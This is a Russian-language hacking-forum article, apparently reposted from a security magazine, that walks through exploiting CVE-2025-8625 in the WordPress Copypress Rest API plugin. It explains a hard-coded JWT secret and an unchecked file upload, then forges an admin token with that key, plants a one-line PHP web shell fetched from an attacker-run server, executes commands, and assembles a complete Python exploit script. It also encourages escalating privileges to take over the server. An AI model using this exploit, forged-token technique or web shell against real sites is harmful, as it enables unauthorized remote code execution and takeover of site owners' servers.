• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Способ взломать WP. Загружаем веб-шелл через плагин Copypress

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня разберем недавно найденный баг в WordPress и напишем собственный эксплоит на Python. Уязвимость содержится в copypress-rest-api, позволяет обходить запрет на скачивание плагина из каталога WP и добиваться возможности исполнения команд. Она получила номер Для просмотра ссылки Войди или Зарегистрируйся и критический статус.
Плагин Copypress Rest API расширяет возможности REST API WordPress функциями управления контентом по HTTP. Удобно для автоматического размещения постов. В сентябре 2025 года исследователь kr0d нашел критическую уязвимость в плагине, которая позволяет получить RCE.

На момент написания статьи существует две версии плагина: 1.1 и 1.2. Обе версии уязвимы к CVE-2025-8625.


warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем, нарушение тайны переписки, осуществление прослушивания и чтение переписки граждан без их согласия преследуется по закону.
CVE-2025-8625 объединяет две проблемы:

  • в исходный код зашит секретный ключ для генерации JWT;
  • загрузка файлов реализована небезопасно.
Любой желающий может сгенерировать валидный токен и загрузить любой файл на сервер веб‑приложения.

Схема атаки
Схема атаки

Скачиваем плагин​

Просто скачать архив или установить плагин через мастер установки не получится. 26 сентября команда WP отключила доступ к плагину в каталоге. Скачать архив с других ресурсов тоже не выйдет, и даже Internet Archive не поможет.

Автор отключил плагин
Автор отключил плагин

Лазейка, через которую получится достать плагин, — это SVN. Под плагины WordPress развернута система контроля версий Apache Subversions. Она позволяет просматривать исходные файлы и отслеживать, какие изменения были от версии к версии.

На странице плагина на вкладке Development осталась Для просмотра ссылки Войди или Зарегистрируйся copypress-rest-api. Вот команда, которая скачает последнюю версию плагина в папку plugin на твою машину:

svn export [URL]https://plugins.svn.wordpress.org/copypress-rest-api/trunk/[/URL] plugin
Если хочешь выкачать весь репозиторий, используй такую команду:
svn checkout [URL]https://plugins.svn.wordpress.org/copypress-rest-api/[/URL] plugin_full
В подпапку plugin_full попадут две папки: trunk — актуальная версия плагина, tags — все релизы плагина. Команда будет особенно актуальна, если на момент чтения статьи автор выпустит новую версию плагина.
Если у тебя не установлен SVN, выполни sudp apt install -y subversion.
Теперь зайди в папку plugin и упакуй выбранную версию в ZIP:

zip -r copypress-rest-api.zip .
Плагин готов к установке.


Изучаем исходники​

Первое проблемное место ты найдешь в файле includes/class-copypress-jwt-token.php в конструкторе:

Код:
public function __construct() {

// Use a secret key from wp-config.php if defined

$this->secret_key = defined('COPYREAP_JWT_SECRET_KEY') ? COPYREAP_JWT_SECRET_KEY : '826657a98e396172f8aed51d110d529d';

}

Если не определен секретный ключ, используется жестко вшитый 826657a98e396172f8aed51d110d529d. Спойлер: чтобы зарегистрировать собственный секретный ключ и обезопасить приложение, нужно добавить объявление COPYREAP_JWT_SECRET_KEY в wp-config.php. Но плагин нигде не сообщает об этом пользователю.

Зная секретный ключ, злоумышленник может подделать JWT-токены и выполнить запрос к API плагина от имени любого пользователя ресурса.

info​

Уязвимости с жестко зашитыми ключами относятся к Для просмотра ссылки Войди или Зарегистрируйся — Use of Hard-coded Cryptographic Key (жестко зашитый криптографический ключ).
Подделка токена не была бы критической без второй проблемы — возможности загрузить любой файл на сервер. Магия происходит в функции copyreap_handle_image, которая совершенно не заботится о том, что именно загружает. Нет проверки MIME-типа, не проверяется расширение файла, полностью отсутствует фильтрация. Класс проверяет корректность URL и доступность для чтения функцией file_get_contents:

Код:
if ( ! filter_var( $image_url, FILTER_VALIDATE_URL ) ) {
    return new WP_Error( 'invalid_image_url', 'Provided image URL is invalid.' );
}

$image_data = file_get_contents( $image_url );
if ( ! $image_data ) {
    return new WP_Error( 'image_download_failed', 'Failed to download image.' );
}

Плагин сохраняет файл под тем же именем, которое было в ссылке. Зная структуру папок WP, путь к файлу легко угадать: wp-content/uploads/YYYY/MM, где YYYY — это текущий год, а MM — текущий месяц с ведущим нолем.

Код:
$filename = basename( $image_url );
$upload_dir = wp_upload_dir();
$upload_path = $upload_dir['path'] . '/' . $filename;
file_put_contents( $upload_path, $image_data );

Собираем стенд​

www​

Все исходники ты можешь скачать Для просмотра ссылки Войди или Зарегистрируйся.
Для тестов удобно использовать официальный образ WordPress для Docker. Создай docker-compose.yml с таким содержимым:

Код:
version: '3.9'

services:
  wordpress:
    image: wordpress:latest
    container_name: wp
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - ./wp_data:/var/www/html

  db:
    image: mysql:5.7
    container_name: wp_db
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - ./db_data:/var/lib/mysql
Чтобы запустить, выполни команду docker compose up -d.

В собранном проекте Docker нужно включить mod_rewrite. Выполни docker exec wp a2enmod rewrite.

Проверь содержимое файла .htaccess, в базовом варианте он выглядит так:

Код:
$ sudo docker exec wp cat /var/www/html/.htaccess
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
# END WordPress

Тебе нужно прописать правила самостоятельно:

Код:
docker exec wp bash -c 'echo -e "# BEGIN WordPress\nSetEnvIf Authorization "\(.*\)" HTTP_AUTHORIZATION=\$1\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress" > /var/www/html/.htaccess'

Теперь вывод должен выглядеть так:

Код:
$ sudo docker exec wp cat /var/www/html/.htaccess
# BEGIN WordPress
SetEnvIf Authorization (.*) HTTP_AUTHORIZATION=$1
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
IfModule>
# END WordPress

Перезапусти контейнер командой docker restart wp, чтобы изменения вступили в силу.

После сборки и запуска мастер установки WordPress доступен по адресу Для просмотра ссылки Войди или Зарегистрируйся. Выполни установку, указав любые данные. В конце включи перманентные ссылки.

В админке WP перейди к разделу плагинов, добавь новый и выбери «Загрузить плагин». Укажи наш архив. Активируй плагин.


Атакуем стенд​

Для начала посмотри на код функции copyreap_generate_token, чтобы понимать, как правильно сгенерировать JWT:

Код:
public function copyreap_generate_token($user) {
    $issued_at = time();
    $expiration_time = $issued_at + 7200; // Token expires in 2 hour
    $header = json_encode(['typ' => 'JWT', 'alg' => 'HS256']);
    $payload = json_encode([
        'iss' => get_bloginfo('url'),
        'iat' => $issued_at,
        'exp' => $expiration_time,
        'data' => [
            'user_id' => $user->ID,
            'username' => $user->user_login,
            'email' => $user->user_email
        ]
    ]);

    $base64_url_header = $this->copyreap_base64UrlEncode($header);
    $base64_url_payload = $this->copyreap_base64UrlEncode($payload);
    $signature = hash_hmac('sha256', $base64_url_header . '.' . $base64_url_payload, $this->secret_key, true);

    $base64_url_signature = $this->copyreap_base64UrlEncode($signature);

    return $base64_url_header . '.' . $base64_url_payload . '.' . $base64_url_signature;
}

Тебе потребуется id админа. На это указывает строка 46 в файле плагина includes/class-copypress-rest-api-validation.php:

Код:
$jwt = new COPYREAP_JWT_Token();
$user_data = $jwt->copyreap_validate_token($token);

if (!$user_data) {
    return new WP_Error('invalid_token', 'Invalid token or expired', ['status' => 403]);
}

wp_set_current_user($user_data['user_id']);

Получить данные пользователя можно, обратившись к сайту по пути /wp-json/wp/v2/users. В большинстве случаев прием сработает. В ответ ты получишь JSON с основными данными по всем пользователям сайта.

Данные пользователей в JSON
Данные пользователей в JSON

Чтобы сгенерировать JWT, напишем скрипт на Python. Создай файл CVE-2025-8625.py:

i
Код:
mport jwt
import time

def generate_token(url, user_id, username, email):
    # Секретный ключ из исходников плагина
    secret = '826657a98e396172f8aed51d110d529d'
    issued_at = int(time.time())
    expiration_time = issued_at + 7200

    payload = {
        'iss': url,
        'iat': issued_at,
        'exp': expiration_time,
        'data': {
            'user_id': user_id,
            'username': username,
            'email': email
        }
    }

    token = jwt.encode(payload, secret, algorithm='HS256')
    if isinstance(token, (bytes, bytearray)):
        token = token.decode('utf-8')

    return token

# Важен только URL и идентификатор, остальные данные можно выдумать
Код:
token = generate_token("http://localhost:8080", 1, "admin", "admin@example.com")
print(token)

warning​

Для генерации JWT используй библиотеку PyJWT. Если она не установлена, поставь: pip install PyJWT.
Создай токен, выполнив python CVE-2025-8625.py.

Для атакующего запроса тебе потребуется сервер, с которого плагин загрузит шелл. Создай файл шелла shell.php:

Код:
<?php
    echo system($_GET['cmd']);
?>
В папке с шеллом выполни python3 -m http.server 8081, чтобы запустить веб‑сервер. Проверь доступность шелла:

$ curl -v Для просмотра ссылки Войди или Зарегистрируйся
  • Host localhost:8081 was resolved.
  • IPv6: ::1
  • IPv4: 127.0.0.1
  • Trying [::1]:8081...
  • connect to ::1 port 8081 from ::1 port 55618 failed: Connection refused
  • Trying 127.0.0.1:8081...
  • Connected to localhost (127.0.0.1) port 8081
GET /shell.php HTTP/1.1
Host: localhost:8081
User-Agent: curl/8.5.0
Accept: /

* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.12.3
< Date: Sun, 05 Oct 2025 14:01:59 GMT
< Content-type: application/octet-stream
< Content-Length: 39
< Last-Modified: Sun, 05 Oct 2025 08:54:36 GMT
<
Код:
<?php
echo system($_GET['cmd']);
* Closing connection
?>

Docker не сможет правильно резолвить твой localhost. Нужно указать IP, который укажет Docker на твою машину. Выполни ifconfig (в Windows используй ipconfig), чтобы найти правильный адрес. IP будет иметь вид 192.168.xxx.1.

Ищи подобную запись в выводе ifconfig
Ищи подобную запись в выводе ifconfig

Все компоненты атаки готовы. Выполни в терминале:

Код:
curl -v -X POST "http://localhost:8080/wp-json/copypress-api/v1/posts" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJpYXQiOjE3NTk2NzMyNDIsImV4cCI6MTc1OTY4MDQ0MiwiZGF0YSI6eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBleGFtcGxlLmNvbSJ9fQ.gvWVbQ3j_Hvt4qwQNzDIjAjE9leaJ1Cdwpcfkp4Ualw" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "Test Post",
    "content": "Test Content",
    "image": "http://192.168.122.1:8081/shell.php"
  }'

В ответе увидишь JSON, который сообщает об успешном создании поста:

Код:
{"message":"Post created successfully","status":200,"data":{"ID":27,"post_author":"1","post_date":"2025-10-06 12:24:01","post_date_gmt":"0000-00-00 00:00:00","post_content":"Test Content","post_title":"Test Post","post_excerpt":"","post_status":"draft","comment_status":"open","ping_status":"open","post_password":"","post_name":"","to_ping":"","pinged":"","post_modified":"2025-10-06 12:24:01","post_modified_gmt":"0000-00-00 00:00:00","post_content_filtered":"","post_parent":0,"guid":"http:\/\/localhost:8080\/?p=27","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}}

Возможные ошибки​

Если в ответе ты видишь главную страницу сайта или любой другой HTML-код, значит, ошибся при вводе в .htaccess или забыл настроить перманентные ссылки.
Ошибка Invalid token format указывает на то, что токен не доходит до REST API. Проверь, что в .htaccess есть такая строка:
SetEnvIf Authorization (.*) HTTP_AUTHORIZATION=$1
При ошибке Invalid token or expired убедись, что не нарушил структуру данных при генерации токена. Перегенерируй токен и попробуй снова.
Проверь, что шелл лежит в папке загрузок:

docker exec wp ls /var/www/html/wp-content/uploads/YYYY/MM/
Если шелл отсутствует, проверь доступность шелла из Docker:

Код:
$ docker exec wp curl -I --max-time 5 "http://192.168.56.1:8081/shell.php"
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload Upload   Total   Spent    Left  Speed
0 0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.12.2
Date: Mon, 06 Oct 2025 12:36:47 GMT
Content-type: application/octet-stream
Content-Length: 41
Last-Modified: Mon, 06 Oct 2025 09:14:59 GMT

Осталось проэксплуатировать уязвимость:

curl [URL]http://localhost:8080/wp-content/uploads/XXXX/YY/shell.php?cmd=id[/URL]
В ответ получишь информацию о текущем пользователе сервера. Шелл работает, и ты можешь спокойно заниматься эскалацией привилегий, чтобы полностью захватить сервер.

Результат работы шелла
Результат работы шелла

Создаем эксплоит​

Ты прошел все шаги атаки, осталось записать этот путь в виде скрипта Python. Добавь в файл CVE-2025-8625.py недостающие импорты:

Код:
import argparse
import requests
from datetime import datetime
from urllib.parse import urlparse, unquote
import os

Запускай скрипт через функцию main(), которая получит аргументы из командной строки. Два аргумента обязательные: URL таргета и файла с шеллом. Остальные аргументы имеют значения по умолчанию:

Код:
def main():
    parser = argparse.ArgumentParser(description="WordPress Copypress RCE Exploit")
    parser.add_argument("--url", required=True, help="Site URL, e.g., http://localhost:8080")
    parser.add_argument("--shell", required=True, help="Shell URL, e.g., http://192.168.100.1:8081/shell.php")
    parser.add_argument("--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("--id", type=int, default=1, help="User ID (default: 1)")
    parser.add_argument("--login", default="admin", help="Username (default: admin)")
    parser.add_argument("--email", default="admin@example.com", help="Email (default: admin@example.com)")

    args = parser.parse_args()
    token = generate_token(args.url, args.id, args.login, args.email)
    print(f"JWT Token: {token}")
    exploit(args.url, token, args.shell, args.cmd)

if name == "main":
    main()
В функции эксплуатации тебе нужно подготовить и выполнить два запроса. Первый — атакующий запрос с загрузкой шелла. Если WordPress ответил Post created successfully, выполни команду эксплуатации, чтобы получить PoC:

def exploit(url, token, shell_url, cmd):
    # Endpoing api copypress
    attack_url = f"{url}/wp-json/copypress-api/v1/posts"
    # Заголовок авторизации и тип контента
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }
    # Тестовые данные для поста и адрес шелла
    data = {
        "title": "Test Post",
        "content": "Test Content",
        "image": shell_url
    }

    response = requests.post(attack_url, headers=headers, json=data)
    print(f"Post creation status code: {response.status_code}")

    # Если пост успешно создан
    if response.status_code == 200 and "Post created successfully" in response.text:
        # WP кладет файл не просто в uploads, а в uploads/yyyy/mm/
        now = datetime.now()
        year = now.strftime("%Y")
        month = now.strftime("%m")
        # Выделение имени файла с шеллом
        shell_name = shell_filename_from_url(shell_url)
        if not shell_name:
            print("Invalid shell URL provided.")
            return

        shell_path = f"{url}/wp-content/uploads/{year}/{month}/{shell_name}?cmd={cmd}"

        print(f"Attempting RCE at: {shell_path}")
        rce_response = requests.get(shell_path)

        # Эксплоит успешно отработал, выводим результат
        if rce_response.status_code == 200:
            print(f"RCE response:\n{rce_response.text}")
        # Что-то пошло не так, стоит проверить доступность файла с шеллом
        else:
            print(f"RCE request failed with status code: {rce_response.status_code}")
    # Не удалось создать пост, вероятно, CVE отсутствует
    else:
        print("Post creation failed")

Плагин сохраняет имя файла, поэтому я сделал сервисную функцию для получения имени файла с шеллом:

Код:
def shell_filename_from_url(shell_url):
    parsed = urlparse(shell_url)
    # Путь без query/fragment
    path = parsed.path
    if not path:
        return ''

    # Basename и декодирование %-последовательностей
    name = os.path.basename(path)
    return unquote(name)

Эксплоит готов к тестированию.
 
Activity
So far there's no one here
Сверху Снизу